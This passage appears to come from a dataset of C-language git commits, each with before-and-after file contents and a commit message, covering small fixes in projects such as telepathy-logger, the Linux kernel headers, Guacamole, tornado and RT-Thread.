{"commit":"6bf45f6de4f613fef61dbe98c464c33478785e95","old_file":"tests\/dbus\/test-tpl-observer.c","new_file":"tests\/dbus\/test-tpl-observer.c","old_contents":"#include <telepathy-logger\/channel-factory-internal.h>\n#include <telepathy-logger\/observer-internal.h>\n\nstatic gint factory_counter = 0;\n\nstatic TplChannel *\nmock_factory (const gchar *chan_type,\n    TpConnection *conn, const gchar *object_path, GHashTable *tp_chan_props,\n    TpAccount *tp_acc, GError **error)\n{\n  factory_counter += 1;\n  return NULL;\n}\n\n\n\nint\nmain (int argc, char **argv)\n{\n  TplObserver *obs, *obs2;\n\n  g_type_init ();\n\n  obs = _tpl_observer_new ();\n\n  \/* TplObserver is a singleton, be sure both references point to the same\n   * memory address  *\/\n  obs2 = _tpl_observer_new ();\n  g_assert (obs == obs2);\n\n  \/* unref the second singleton pointer and check that the it is still\n   * valid: checking correct object ref-counting after each _dup() call *\/\n  g_object_unref (obs2);\n  g_assert (TPL_IS_OBSERVER (obs));\n\n  \/* it points to the same mem area, it should be still valid *\/\n  g_assert (TPL_IS_OBSERVER (obs2));\n\n  \/* register a ChanFactory and test ObserveChannel() *\/\n  _tpl_observer_set_channel_factory (obs, mock_factory);\n\n\n  \/* proper disposal for the singleton when no references are present *\/\n  g_object_unref (obs);\n  g_assert (!TPL_IS_OBSERVER (obs));\n\n  return 0;\n}\n\n","new_contents":"#include <telepathy-logger\/channel-factory-internal.h>\n#include <telepathy-logger\/observer-internal.h>\n\nstatic gint factory_counter = 0;\n\nstatic TplChannel *\nmock_factory (const gchar *chan_type,\n    TpConnection *conn, const gchar *object_path, GHashTable *tp_chan_props,\n    TpAccount *tp_acc, GError **error)\n{\n  factory_counter += 1;\n  return NULL;\n}\n\n\n\nint\nmain (int argc, char **argv)\n{\n  TplObserver *obs, *obs2;\n\n  g_type_init ();\n\n  obs = _tpl_observer_new ();\n\n  \/* TplObserver is a singleton, be sure both references point to the same\n   * memory address  *\/\n  obs2 = _tpl_observer_new ();\n  g_assert (obs == obs2);\n\n  \/* unref the second singleton pointer and check that the it is still\n   * valid: checking correct object ref-counting after each _dup() call *\/\n  g_object_unref (obs2);\n  g_assert (TPL_IS_OBSERVER (obs));\n\n  \/* it points to the same mem area, it should be still valid *\/\n  g_assert (TPL_IS_OBSERVER (obs2));\n\n  \/* register a ChanFactory and test ObserveChannel() *\/\n  _tpl_observer_set_channel_factory (obs, mock_factory);\n\n\n  \/* proper disposal for the singleton when no references are present *\/\n  g_object_unref (obs);\n\n  return 0;\n}\n\n","subject":"Fix invalid read in pseudo observer test","message":"Fix invalid read in pseudo observer test\n","lang":"C","license":"lgpl-2.1","repos":"freedesktop-unofficial-mirror\/telepathy__telepathy-logger,freedesktop-unofficial-mirror\/telepathy__telepathy-logger,freedesktop-unofficial-mirror\/telepathy__telepathy-logger"}
{"commit":"da6d42acfb7f6b65bbc95e52e01147d2335f490f","old_file":"include\/guard_overflow.h","new_file":"include\/guard_overflow.h","old_contents":"\/\/\n\/\/  include\/guard_overflow.h\n\/\/  tbd\n\/\/\n\/\/  Created by inoahdev on 12\/29\/18.\n\/\/  Copyright © 2018 - 2019 inoahdev. All rights reserved.\n\/\/\n\n#ifndef GUARD_OVERFLOW_H\n#define GUARD_OVERFLOW_H\n\n#include <stdint.h>\n\n#define guard_overflow_add(left_in, right) _Generic((left_in), \\\n    uint32_t *: __builtin_uadd_overflow, \\\n    uint64_t *: __builtin_uaddl_overflow \\\n) (*left_in, right, left_in)\n\n#define guard_overflow_mul(left_in, right) _Generic((left_in), \\\n    uint32_t *: __builtin_umul_overflow, \\\n    uint64_t *: __builtin_umull_overflow \\\n) (*left_in, right, left_in)\n\n#define guard_overflow_shift_left(left_in, right) _Generic((left_in), \\\n    uint32_t *: guard_overflow_shift_left_uint32, \\\n    uint64_t *: guard_overflow_shift_left_uint64 \\\n) (left_in, right)\n\nint guard_overflow_shift_left_uint32(uint32_t *left_in, uint32_t right);\nint guard_overflow_shift_left_uint64(uint64_t *left_in, uint64_t right);\n\n#endif \/* GUARD_OVERFLOW_H *\/\n","new_contents":"\/\/\n\/\/  include\/guard_overflow.h\n\/\/  tbd\n\/\/\n\/\/  Created by inoahdev on 12\/29\/18.\n\/\/  Copyright © 2018 - 2019 inoahdev. All rights reserved.\n\/\/\n\n#ifndef GUARD_OVERFLOW_H\n#define GUARD_OVERFLOW_H\n\n#include <stdint.h>\n\n#define guard_overflow_add(left_in, right) \\\n    __builtin_add_overflow(*left_in, right, left_in)\n\n#define guard_overflow_mul(left_in, right) \\\n    __builtin_mul_overflow(*left_in, right, left_in)\n\n#define guard_overflow_shift_left(left_in, right) _Generic((left_in), \\\n    uint32_t *: guard_overflow_shift_left_uint32, \\\n    uint64_t *: guard_overflow_shift_left_uint64 \\\n) (left_in, right)\n\nint guard_overflow_shift_left_uint32(uint32_t *left_in, uint32_t right);\nint guard_overflow_shift_left_uint64(uint64_t *left_in, uint64_t right);\n\n#endif \/* GUARD_OVERFLOW_H *\/\n","subject":"Fix compile errors with different integer-types","message":"Fix compile errors with different integer-types\n","lang":"C","license":"mit","repos":"inoahdev\/tbd,inoahdev\/tbd"}
{"commit":"3e705f279a942471b258b1c7a9e54aa8ff36b89f","old_file":"include\/linux\/root_dev.h","new_file":"include\/linux\/root_dev.h","old_contents":"#ifndef _ROOT_DEV_H_\n#define _ROOT_DEV_H_\n\n#include <linux\/major.h>\n\nenum {\n\tRoot_NFS = MKDEV(UNNAMED_MAJOR, 255),\n\tRoot_RAM0 = MKDEV(RAMDISK_MAJOR, 0),\n\tRoot_RAM1 = MKDEV(RAMDISK_MAJOR, 1),\n\tRoot_FD0 = MKDEV(FLOPPY_MAJOR, 0),\n\tRoot_HDA1 = MKDEV(IDE0_MAJOR, 1),\n\tRoot_HDA2 = MKDEV(IDE0_MAJOR, 2),\n\tRoot_SDA1 = MKDEV(SCSI_DISK0_MAJOR, 1),\n\tRoot_SDA2 = MKDEV(SCSI_DISK0_MAJOR, 2),\n\tRoot_HDC1 = MKDEV(IDE1_MAJOR, 1),\n\tRoot_SR0 = MKDEV(SCSI_CDROM_MAJOR, 0),\n};\n\nextern dev_t ROOT_DEV;\n\n#endif\n","new_contents":"#ifndef _ROOT_DEV_H_\n#define _ROOT_DEV_H_\n\n#include <linux\/major.h>\n#include <linux\/types.h>\n#include <linux\/kdev_t.h>\n\nenum {\n\tRoot_NFS = MKDEV(UNNAMED_MAJOR, 255),\n\tRoot_RAM0 = MKDEV(RAMDISK_MAJOR, 0),\n\tRoot_RAM1 = MKDEV(RAMDISK_MAJOR, 1),\n\tRoot_FD0 = MKDEV(FLOPPY_MAJOR, 0),\n\tRoot_HDA1 = MKDEV(IDE0_MAJOR, 1),\n\tRoot_HDA2 = MKDEV(IDE0_MAJOR, 2),\n\tRoot_SDA1 = MKDEV(SCSI_DISK0_MAJOR, 1),\n\tRoot_SDA2 = MKDEV(SCSI_DISK0_MAJOR, 2),\n\tRoot_HDC1 = MKDEV(IDE1_MAJOR, 1),\n\tRoot_SR0 = MKDEV(SCSI_CDROM_MAJOR, 0),\n};\n\nextern dev_t ROOT_DEV;\n\n#endif\n","subject":"Fix broken kernel headers preventing ARM build","message":"[PATCH] Fix broken kernel headers preventing ARM build\n\nAs a result of 894673ee6122a3ce1958e1fe096901ba5356a96b, the ARM\narchitecture is more or less unbuildable - only one defconfig appears\nto build, with all others erroring out with:\n\n\t  CC      arch\/arm\/kernel\/setup.o\n\tIn file included from \/home\/rmk\/git\/linux-2.6-rmk\/arch\/arm\/kernel\/setup.c:22:\n\t\/home\/rmk\/git\/linux-2.6-rmk\/include\/linux\/root_dev.h:7: warning: implicit declaration of function `MKDEV'\n\t...\n\nEssentially, root_dev.h uses MKDEV and dev_t, but does not include any\nheaders which provide either of these definitions.  The reason it worked\npreviously is that linux\/tty.h just happened to include the required\nheaders for linux\/root_dev.h.\n\nSigned-off-by: Russell King <f6aa0246ff943bfa8602cdf60d40c481b38ed232@arm.linux.org.uk>\nSigned-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@osdl.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"2ace9385a27d77e3fbf1f987b3bf3f0ce6af7ebc","old_file":"src\/protocols\/ssh\/ttymode.h","new_file":"src\/protocols\/ssh\/ttymode.h","old_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifndef GUAC_SSH_TTYMODE_H\n#define GUAC_SSH_TTYMODE_H\n\n#include \"config.h\"\n\n#define GUAC_SSH_TTY_OP_END 0\n#define GUAC_SSH_TTY_OP_VERASE 3\n\n#define GUAC_SSH_TERM_DEFAULT_BACKSPACE 127\n\nextern const char GUAC_SSH_TTY_MODES[6];\n\n#endif\n","new_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifndef GUAC_SSH_TTYMODE_H\n#define GUAC_SSH_TTYMODE_H\n\n#include \"config.h\"\n\n\/**\n * The SSH TTY mode encoding opcode that terminates\n * the list of TTY modes.\n *\/\n#define GUAC_SSH_TTY_OP_END 0\n\n\/**\n * The SSH tty mode encoding opcode that configures\n * the TTY erase code to configure the server\n * backspace key.\n *\/\n#define GUAC_SSH_TTY_OP_VERASE 3\n\n\/**\n * The default ASCII code to send for the backspace\n * key that will be sent to the SSH server.\n *\/\n#define GUAC_SSH_TERM_DEFAULT_BACKSPACE 127\n\n\/**\n * The array of TTY mode encoding data to send to the\n * SSH server.  These consist of pairs of byte codes\n * and uint32 (4-byte) values, with a 0 to terminate\n * the list.\n *\/\nextern const char GUAC_SSH_TTY_MODES[6];\n\n#endif\n","subject":"Add documentation for the defines and variables.","message":"GUACAMOLE-269: Add documentation for the defines and variables.\n","lang":"C","license":"apache-2.0","repos":"glyptodon\/guacamole-server,mike-jumper\/incubator-guacamole-server,glyptodon\/guacamole-server,apache\/guacamole-server,apache\/guacamole-server,mike-jumper\/incubator-guacamole-server,mike-jumper\/incubator-guacamole-server,mike-jumper\/incubator-guacamole-server,glyptodon\/guacamole-server,apache\/guacamole-server"}
{"commit":"de6438d1b0800bbc285201962356476fe816c2a1","old_file":"lang\/python36\/files\/patch-Modules___ssl.c","new_file":"lang\/python36\/files\/patch-Modules___ssl.c","old_contents":"--- Modules\/_ssl.c.orig\n+++ Modules\/_ssl.c\n@@ -99,7 +99,8 @@ struct py_ssl_library_code {\n\/* Include generated data (error codes) *\/\n#include \"_ssl_data.h\"\n\n-#if (OPENSSL_VERSION_NUMBER >= 0x10100000L) && !defined(LIBRESSL_VERSION_NUMBER)\n+#if (OPENSSL_VERSION_NUMBER >= 0x10100000L) && \\\n+    (!defined(LIBRESSL_VERSION_NUMBER) || LIBRESSL_VERSION_NUMBER >= 0x2070000fL)\n #  define OPENSSL_VERSION_1_1 1\n #endif\n\n@@ -133,6 +134,9 @@ struct py_ssl_library_code {\n\/* OpenSSL 1.1.0+ *\/\n #ifndef OPENSSL_NO_SSL2\n #define OPENSSL_NO_SSL2\n+#endif\n+#if defined(LIBRESSL_VERSION_NUMBER) && defined(WITH_THREAD)\n+#define HAVE_OPENSSL_CRYPTO_LOCK\n #endif\n #else \/* OpenSSL < 1.1.0 *\/\n #if defined(WITH_THREAD)\n","new_contents":"$OpenBSD: patch-Modules__ssl_c,v 1.2 2018\/03\/17 22:30:04 sthen Exp $\n\nXXX maybe the second hunk can go away now we have auto-init, I'm not sure\nexactly what python's lock protects\n\nIndex: Modules\/_ssl.c\n--- Modules\/_ssl.c.orig\n+++ Modules\/_ssl.c\n@@ -99,7 +99,8 @@ struct py_ssl_library_code {\n \/* Include generated data (error codes) *\/\n #include \"_ssl_data.h\"\n \n-#if (OPENSSL_VERSION_NUMBER >= 0x10100000L) && !defined(LIBRESSL_VERSION_NUMBER)\n+#if (OPENSSL_VERSION_NUMBER >= 0x10100000L) && \\\n+    (!defined(LIBRESSL_VERSION_NUMBER) || LIBRESSL_VERSION_NUMBER >= 0x2070000fL)\n #  define OPENSSL_VERSION_1_1 1\n #endif\n \n@@ -133,6 +134,9 @@ struct py_ssl_library_code {\n \/* OpenSSL 1.1.0+ *\/\n #ifndef OPENSSL_NO_SSL2\n #define OPENSSL_NO_SSL2\n+#endif\n+#if defined(LIBRESSL_VERSION_NUMBER) && defined(WITH_THREAD)\n+#define HAVE_OPENSSL_CRYPTO_LOCK\n #endif\n #else \/* OpenSSL < 1.1.0 *\/\n #if defined(WITH_THREAD)\n","subject":"Fix libressl patch python 3.6","message":"Fix libressl patch python 3.6\n","lang":"C","license":"mit","repos":"nrosier\/bunbun,nrosier\/bunbun,nrosier\/bunbun,nrosier\/bunbun"}
{"commit":"61ede2efb300b4285e1e4a35abd68c45f1abb1a3","old_file":"tests\/mpich-example.c","new_file":"tests\/mpich-example.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <mpi.h>\n\nint\nmain (int argc, char *argv[])\n{\n  int rank, size, length;\n  char name[BUFSIZ];\n\n  MPI_Init (&argc, &argv);\n  MPI_Comm_rank (MPI_COMM_WORLD, &rank);\n  MPI_Comm_size (MPI_COMM_WORLD, &size);\n  MPI_Get_processor_name (name, &length);\n\n  printf (\"%s: hello world from process %d of %d\\n\", name, rank, size);\n\n  MPI_Finalize ();\n\n  return EXIT_SUCCESS;\n}\n","subject":"Add missing file for the MPI test.","message":"Add missing file for the MPI test.\n\ngit-svn-id: 71c8032c709790ec749031c4215f8515ac00dc5a@27337 70bd8c7a-acb8-0310-9f0d-9cc1c95dcdbb\n","lang":"C","license":"mit","repos":"bnordgren\/nixos,bnordgren\/nixos,bnordgren\/nixos,bnordgren\/nixos,bnordgren\/nixos"}
{"commit":"8b3a08698c86a94a3943ec941fe35b930046cd25","old_file":"tornado\/speedups.c","new_file":"tornado\/speedups.c","old_contents":"#define PY_SSIZE_T_CLEAN\n#include <Python.h>\n\nstatic PyObject* websocket_mask(PyObject* self, PyObject* args) {\n    const char* mask;\n    Py_ssize_t mask_len;\n    const char* data;\n    Py_ssize_t data_len;\n    Py_ssize_t i;\n    PyObject* result;\n    char* buf;\n\n    if (!PyArg_ParseTuple(args, \"s#s#\", &mask, &mask_len, &data, &data_len)) {\n        return NULL;\n    }\n\n    result = PyBytes_FromStringAndSize(NULL, data_len);\n    if (!result) {\n        return NULL;\n    }\n    buf = PyBytes_AsString(result);\n    for (i = 0; i < data_len; i++) {\n        buf[i] = data[i] ^ mask[i % 4];\n    }\n\n    return result;\n}\n\nstatic PyMethodDef methods[] = {\n    {\"websocket_mask\",  websocket_mask, METH_VARARGS, \"\"},\n    {NULL, NULL, 0, NULL}\n};\n\n#if PY_MAJOR_VERSION >= 3\nstatic struct PyModuleDef speedupsmodule = {\n   PyModuleDef_HEAD_INIT,\n   \"speedups\",\n   NULL,\n   -1,\n   methods\n};\n\nPyMODINIT_FUNC\nPyInit_speedups() {\n    return PyModule_Create(&speedupsmodule);\n}\n#else  \/\/ Python 2.x\nPyMODINIT_FUNC\ninitspeedups() {\n    Py_InitModule(\"tornado.speedups\", methods);\n}\n#endif\n","new_contents":"#define PY_SSIZE_T_CLEAN\n#include <Python.h>\n\nstatic PyObject* websocket_mask(PyObject* self, PyObject* args) {\n    const char* mask;\n    Py_ssize_t mask_len;\n    const char* data;\n    Py_ssize_t data_len;\n    Py_ssize_t i;\n    PyObject* result;\n    char* buf;\n\n    if (!PyArg_ParseTuple(args, \"s#s#\", &mask, &mask_len, &data, &data_len)) {\n        return NULL;\n    }\n\n    result = PyBytes_FromStringAndSize(NULL, data_len);\n    if (!result) {\n        return NULL;\n    }\n    buf = PyBytes_AsString(result);\n    for (i = 0; i < data_len; i++) {\n        buf[i] = data[i] ^ mask[i % 4];\n    }\n\n    return result;\n}\n\nstatic PyMethodDef methods[] = {\n    {\"websocket_mask\",  websocket_mask, METH_VARARGS, \"\"},\n    {NULL, NULL, 0, NULL}\n};\n\n#if PY_MAJOR_VERSION >= 3\nstatic struct PyModuleDef speedupsmodule = {\n   PyModuleDef_HEAD_INIT,\n   \"speedups\",\n   NULL,\n   -1,\n   methods\n};\n\nPyMODINIT_FUNC\nPyInit_speedups(void) {\n    return PyModule_Create(&speedupsmodule);\n}\n#else  \/\/ Python 2.x\nPyMODINIT_FUNC\ninitspeedups(void) {\n    Py_InitModule(\"tornado.speedups\", methods);\n}\n#endif\n","subject":"Add void to empty function parameter","message":"Add void to empty function parameter\n\nThis fixes the gcc warning:\n\ntornado\/speedups.c:49:1: warning: function declaration isn’t a prototype\n[-Wstrict-prototypes]\n initspeedups() {\n ^\n","lang":"C","license":"apache-2.0","repos":"hhru\/tornado,jehiah\/tornado,mr-ping\/tornado,arthurdarcet\/tornado,tornadoweb\/tornado,wsyzxcn\/tornado,eklitzke\/tornado,hhru\/tornado,zguangyu\/tornado,mehmetkose\/tornado,NoyaInRain\/tornado,lilydjwg\/tornado,NoyaInRain\/tornado,jehiah\/tornado,eklitzke\/tornado,mivade\/tornado,fengsp\/tornado,ColorFuzzy\/tornado,wujuguang\/tornado,arthurdarcet\/tornado,hhru\/tornado,mr-ping\/tornado,Lancher\/tornado,bdarnell\/tornado,zguangyu\/tornado,mehmetkose\/tornado,ajdavis\/tornado,bdarnell\/tornado,SuminAndrew\/tornado,legnaleurc\/tornado,mr-ping\/tornado,SuminAndrew\/tornado,cyrusin\/tornado,cyrusin\/tornado,ajdavis\/tornado,wujuguang\/tornado,ifduyue\/tornado,mivade\/tornado,ifduyue\/tornado,NoyaInRain\/tornado,jehiah\/tornado,ovidiucp\/tornado,Lancher\/tornado,hhru\/tornado,wujuguang\/tornado,mehmetkose\/tornado,mehmetkose\/tornado,legnaleurc\/tornado,jsjohnst\/tornado,SuminAndrew\/tornado,tornadoweb\/tornado,Lancher\/tornado,dongpinglai\/my_tornado,ColorFuzzy\/tornado,mivade\/tornado,zguangyu\/tornado,mehmetkose\/tornado,ColorFuzzy\/tornado,arthurdarcet\/tornado,lilydjwg\/tornado,ifduyue\/tornado,NoyaInRain\/tornado,zguangyu\/tornado,ovidiucp\/tornado,cyrusin\/tornado,tornadoweb\/tornado,jsjohnst\/tornado,allenl203\/tornado,dongpinglai\/my_tornado,bdarnell\/tornado,legnaleurc\/tornado,wsyzxcn\/tornado,jehiah\/tornado,cyrusin\/tornado,wsyzxcn\/tornado,jsjohnst\/tornado,dongpinglai\/my_tornado,eklitzke\/tornado,wsyzxcn\/tornado,obsh\/tornado,ColorFuzzy\/tornado,dongpinglai\/my_tornado,NoyaInRain\/tornado,legnaleurc\/tornado,jsjohnst\/tornado,cyrusin\/tornado,fengsp\/tornado,ajdavis\/tornado,ColorFuzzy\/tornado,wujuguang\/tornado,obsh\/tornado,ovidiucp\/tornado,NoyaInRain\/tornado,mehmetkose\/tornado,mivade\/tornado,ifduyue\/tornado,cyrusin\/tornado,dongpinglai\/my_tornado,jehiah\/tornado,allenl203\/tornado,ovidiucp\/tornado,legnaleurc\/tornado,mr-ping\/tornado,fengsp\/tornado,eklitzke\/tornado,SuminAndrew\/tornado,lilydjwg\/tornado,ajdavis\/tornado,eklitzke\/tornado,zguangyu\/tornado,tornadoweb\/tornado,wsyzxcn\/tornado,obsh\/tornado,arthurdarcet\/tornado,Lancher\/tornado,jsjohnst\/tornado,arthurdarcet\/tornado,Lancher\/tornado,SuminAndrew\/tornado,ColorFuzzy\/tornado,jsjohnst\/tornado,hhru\/tornado,obsh\/tornado,wsyzxcn\/tornado,bdarnell\/tornado,mr-ping\/tornado,allenl203\/tornado,bdarnell\/tornado,obsh\/tornado,lilydjwg\/tornado,fengsp\/tornado,obsh\/tornado,ajdavis\/tornado,fengsp\/tornado,ifduyue\/tornado,ovidiucp\/tornado,allenl203\/tornado,arthurdarcet\/tornado,mivade\/tornado,mr-ping\/tornado,fengsp\/tornado,ovidiucp\/tornado,allenl203\/tornado,zguangyu\/tornado,wsyzxcn\/tornado,dongpinglai\/my_tornado,wujuguang\/tornado"}
{"commit":"18d9955dfa631cc4963aa1df4959bd834ae4c8d6","old_file":"Classes\/ios\/FlatUIKit.h","new_file":"Classes\/ios\/FlatUIKit.h","old_contents":"\/\/\n\/\/  FlatUIKit.h\n\/\/  FlatUI\n\/\/\n\/\/  Created by Keisuke Kimura on 6\/8\/13.\n\/\/  Copyright (c) 2013 Keisuke Kimura. All rights reserved.\n\/\/\n\n#ifndef FlatUI_FlatUIKit_h\n#define FlatUI_FlatUIKit_h\n\n#ifndef __IPHONE_5_0\n#error \"FlatUIKit uses features only available in iOS SDK 5.0 and later.\"\n#endif\n\n#if TARGET_OS_IPHONE\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n#endif\n\n#endif\n\n#import \"FUIAlertView.h\"\n#import \"FUIButton.h\"\n#import \"FUICellBackgroundView.h\"\n#import \"FUISegmentedControl.h\"\n#import \"FUISwitch.h\"\n#import \"UIBarButtonItem+FlatUI.h\"\n#import \"UIColor+FlatUI.h\"\n#import \"UIFont+FlatUI.h\"\n#import \"UIImage+FlatUI.h\"\n#import \"UINavigationBar+FlatUI.h\"\n#import \"UIProgressView+FlatUI.h\"\n#import \"UISlider+FlatUI.h\"\n#import \"UITabBar+FlatUI.h\"\n#import \"UITableViewCell+FlatUI.h\"\n\n#ifdef __IPHONE_6_0\n#import \"UIStepper+FlatUI.h\"\n#endif\n","new_contents":"\/\/\n\/\/  FlatUIKit.h\n\/\/  FlatUI\n\/\/\n\/\/  Created by Keisuke Kimura on 6\/8\/13.\n\/\/  Copyright (c) 2013 Keisuke Kimura. All rights reserved.\n\/\/\n\n#ifndef FlatUI_FlatUIKit_h\n#define FlatUI_FlatUIKit_h\n\n#ifndef __IPHONE_5_0\n#error \"FlatUIKit uses features only available in iOS SDK 5.0 and later.\"\n#endif\n\n#if TARGET_OS_IPHONE\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n#endif\n\n#endif\n\n#import \"FUIAlertView.h\"\n#import \"FUIButton.h\"\n#import \"FUICellBackgroundView.h\"\n#import \"FUISegmentedControl.h\"\n#import \"FUISwitch.h\"\n#import \"UIBarButtonItem+FlatUI.h\"\n#import \"UIColor+FlatUI.h\"\n#import \"UIFont+FlatUI.h\"\n#import \"UIImage+FlatUI.h\"\n#import \"UINavigationBar+FlatUI.h\"\n#import \"UIProgressView+FlatUI.h\"\n#import \"UIStepper+FlatUI.h\"\n#import \"UISlider+FlatUI.h\"\n#import \"UITabBar+FlatUI.h\"\n#import \"UITableViewCell+FlatUI.h\"\n","subject":"Remove OSVersion check of import \"UIStepper+FlatUI.h\"","message":"Remove OSVersion check of import \"UIStepper+FlatUI.h\"\n","lang":"C","license":"mit","repos":"hessu\/FlatUIKit,zyprosoft\/FlatUIKit,Grouper\/FlatUIKit,lydonchandra\/FlatUIKit,tfrank64\/FlatUIKit,somedev\/FlatUIKit,imjerrybao\/FlatUIKit,lioonline\/FlatUIKit,tuanpa199\/FlatUIKit,AmitaiB\/FlatUIKit,SummerHanada\/FlatUIKit,ajrulez\/FlatUIKit,applexiaohao\/FlatUIKit,GuanKunLuo\/FlatUIKit,fromeflow\/FlatUIKit,0x73\/FlatUIKit,hieutn\/FlatUIKit,yangchenghu\/FlatUIKit,ChaosCoder\/FlatUIKit,brextonpham\/FlatUIKit,yungfan\/FlatUIKit,hanangellove\/FlatUIKit,nathankot\/FlatUIKit,algoaccess\/FlatUIKit"}
{"commit":"0a422f6007fab2b8c41cb0c0b6d76e941b3fb913","old_file":"c\/sum_of_even_squares.c","new_file":"c\/sum_of_even_squares.c","old_contents":"int sum_of_even_squares(int* a, unsigned int length) {\n    int total = 0;\n    for (unsigned int i = 0; i < length; i++) {\n        if (a[i] % 2 == 0) {\n            total += a[i] * a[i];\n        }\n    }\n    return total;\n}\n","new_contents":"int sum_of_even_squares(int* a, unsigned int length) {\n    int total = 0;\n    for (unsigned int i = 0; i < length; i++) {\n        if (a[i] % 2 == 0) {\n            total += a[i] * a[i];\n        }\n    }\n    return total;\n}\n\n#include <assert.h>\n\nstatic int a[] = {7, 3, -8, 4, 1, 0, 11, 2};\n\nint main() {\n    assert(sum_of_even_squares(a, 0) == 0);\n    assert(sum_of_even_squares(a, 1) == 0);\n    assert(sum_of_even_squares(a, 2) == 0);\n    assert(sum_of_even_squares(a, 3) == 64);\n    assert(sum_of_even_squares(a, 4) == 80);\n    assert(sum_of_even_squares(a, 5) == 80);\n    assert(sum_of_even_squares(a, 6) == 80);\n    assert(sum_of_even_squares(a, 7) == 80);\n    assert(sum_of_even_squares(a, 8) == 84);\n    return 0;\n}\n","subject":"Add asserts to C sum of even squares","message":"Add asserts to C sum of even squares\n","lang":"C","license":"mit","repos":"rtoal\/polyglot,rtoal\/polyglot,rtoal\/ple,rtoal\/polyglot,rtoal\/ple,rtoal\/ple,rtoal\/polyglot,rtoal\/polyglot,rtoal\/ple,rtoal\/polyglot,rtoal\/ple,rtoal\/polyglot,rtoal\/ple,rtoal\/polyglot,rtoal\/ple,rtoal\/ple,rtoal\/ple,rtoal\/polyglot,rtoal\/polyglot,rtoal\/ple,rtoal\/ple,rtoal\/polyglot,rtoal\/ple,rtoal\/ple,rtoal\/polyglot,rtoal\/polyglot,rtoal\/ple,rtoal\/polyglot,rtoal\/ple,rtoal\/polyglot,rtoal\/ple"}
{"commit":"fccd0e6b8314ecc95bde542fe7031bc881dac722","old_file":"components\/libc\/minilibc\/sys\/types.h","new_file":"components\/libc\/minilibc\/sys\/types.h","old_contents":"#ifndef __TYPES_H__\n#define __TYPES_H__\n\n#include <rtthread.h>\n\ntypedef long    \toff_t;\ntypedef rt_size_t \tsize_t;\ntypedef signed long ssize_t;\t\t\/* Used for a count of bytes or an error indication. *\/\n\ntypedef rt_uint8_t \tu_char;\ntypedef rt_uint16_t u_short;\ntypedef rt_ubase_t \tu_int;\ntypedef rt_uint32_t u_long;\n\ntypedef rt_time_t time_t;\ntypedef int mode_t;\n\ntypedef unsigned long clockid_t;\ntypedef int pid_t;\n\n#ifndef NULL\n#define NULL RT_NULL\n#endif\n\n#define __u_char_defined\n\n#endif\n","new_contents":"#ifndef __TYPES_H__\n#define __TYPES_H__\n\n#include <rtthread.h>\n\ntypedef long    \toff_t;\ntypedef __SIZE_TYPE__ \tsize_t;\ntypedef signed long ssize_t;\t\t\/* Used for a count of bytes or an error indication. *\/\n\ntypedef rt_uint8_t \tu_char;\ntypedef rt_uint16_t u_short;\ntypedef rt_ubase_t \tu_int;\ntypedef rt_uint32_t u_long;\n\ntypedef rt_time_t time_t;\ntypedef int mode_t;\n\ntypedef unsigned long clockid_t;\ntypedef int pid_t;\n\n#ifndef NULL\n#define NULL RT_NULL\n#endif\n\n#define __u_char_defined\n\n#endif\n","subject":"Use __SIZE_TYPE__ instead of rt_size_t in minilibc.","message":"[libc] Use __SIZE_TYPE__ instead of rt_size_t in minilibc.\n","lang":"C","license":"apache-2.0","repos":"zhaojuntao\/rt-thread,nongxiaoming\/rt-thread,hezlog\/rt-thread,wolfgangz2013\/rt-thread,nongxiaoming\/rt-thread,geniusgogo\/rt-thread,yongli3\/rt-thread,geniusgogo\/rt-thread,weety\/rt-thread,hezlog\/rt-thread,weiyuliang\/rt-thread,ArdaFu\/rt-thread,ArdaFu\/rt-thread,AubrCool\/rt-thread,geniusgogo\/rt-thread,AubrCool\/rt-thread,wolfgangz2013\/rt-thread,RT-Thread\/rt-thread,ArdaFu\/rt-thread,wolfgangz2013\/rt-thread,zhaojuntao\/rt-thread,AubrCool\/rt-thread,gbcwbz\/rt-thread,hezlog\/rt-thread,zhaojuntao\/rt-thread,armink\/rt-thread,FlyLu\/rt-thread,igou\/rt-thread,armink\/rt-thread,hezlog\/rt-thread,weiyuliang\/rt-thread,AubrCool\/rt-thread,FlyLu\/rt-thread,nongxiaoming\/rt-thread,igou\/rt-thread,geniusgogo\/rt-thread,weiyuliang\/rt-thread,FlyLu\/rt-thread,weety\/rt-thread,ArdaFu\/rt-thread,wolfgangz2013\/rt-thread,FlyLu\/rt-thread,igou\/rt-thread,armink\/rt-thread,weety\/rt-thread,wolfgangz2013\/rt-thread,FlyLu\/rt-thread,RT-Thread\/rt-thread,yongli3\/rt-thread,AubrCool\/rt-thread,weiyuliang\/rt-thread,AubrCool\/rt-thread,RT-T